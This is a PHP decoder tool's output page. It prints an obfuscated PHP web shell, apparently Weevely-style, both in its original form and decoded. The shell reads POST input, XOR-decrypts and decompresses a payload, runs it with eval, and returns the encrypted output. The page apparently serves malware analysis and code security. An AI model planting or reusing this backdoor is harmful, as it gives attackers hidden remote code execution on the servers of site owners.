Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $r=str_replace('Za','','creZaZaateZa_fZauZanctZaion'); $J='$k="827cc|b0e";|$kh|="e..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="827ccb0e";$kh="ea8a706c4c34";$kf="a16891f84e7b";$p="BHg12abQT9C7QJHu";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$r=str_replace('Za','','creZaZaateZa_fZauZanctZaion');
$J='$k="827cc|b0e";|$kh|="e|a8a706||c4c34"|;$kf="a16891f84e7b"|;$p="|BH|g12ab';
$t='b|as|e64_deco||de($m[1]|),$k)));|$o=@ob|_g|et_co|ntents|();@ob_end|_clean(|';
$e=');$r=@base|64_en|c|ode(@x(@gzco|mpress|($o|),$k));|print("$|p$kh$r$|kf");}';
$X='tents("php:|//input")|,$m)=|=|1) {|@ob_start(|);@eva|l(|@gz|uncompress(@x(@';
$k='$j}|;}}re|t|urn $o;}if |(@pr|eg_matc|h("|/$kh(.+)$|kf/",@f|ile_|g|et_|con';
$i='for($i=0;$i<|$l;){|for($j|=0;(|$j<$c||&&$i<|$l)|;$j++,$i++)|{$o.=$t{$i}^$k{';
$I='QT9|C7Q|JHu";funct|ion x|(|$t,$k){$c=str|l|en($k);$l||=strlen|($t);$o=""||;';
$g=str_replace('|','',$J.$I.$i.$k.$X.$t.$e);
$l=$r('',$g);$l();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$I QT9|C7Q|JHu";funct|ion x|(|$t,$k){$c=str|l|en($k);$l||=strle..
$J $k="827cc|b0e";|$kh|="e|a8a706||c4c34"|;$kf="a16891f84e7b"|;..
$X tents("php:|//input")|,$m)=|=|1) {|@ob_start(|);@eva|l(|@gz|..
$e );$r=@base|64_en|c|ode(@x(@gzco|mpress|($o|),$k));|print("$|..
$g $k="827ccb0e";$kh="ea8a706c4c34";$kf="a16891f84e7b";$p="BHg1..
$i for($i=0;$i<|$l;){|for($j|=0;(|$j<$c||&&$i<|$l)|;$j++,$i++)|..
$k 827ccb0e
$p BHg12abQT9C7QJHu
$r create_function
$t b|as|e64_deco||de($m[1]|),$k)));|$o=@ob|_g|et_co|ntents|();@..
$kf a16891f84e7b
$kh ea8a706c4c34

Stats

MD5 9d8c304dc2fdef4d31bf5e7a572adc0d
Eval Count 1
Decode Time 274 ms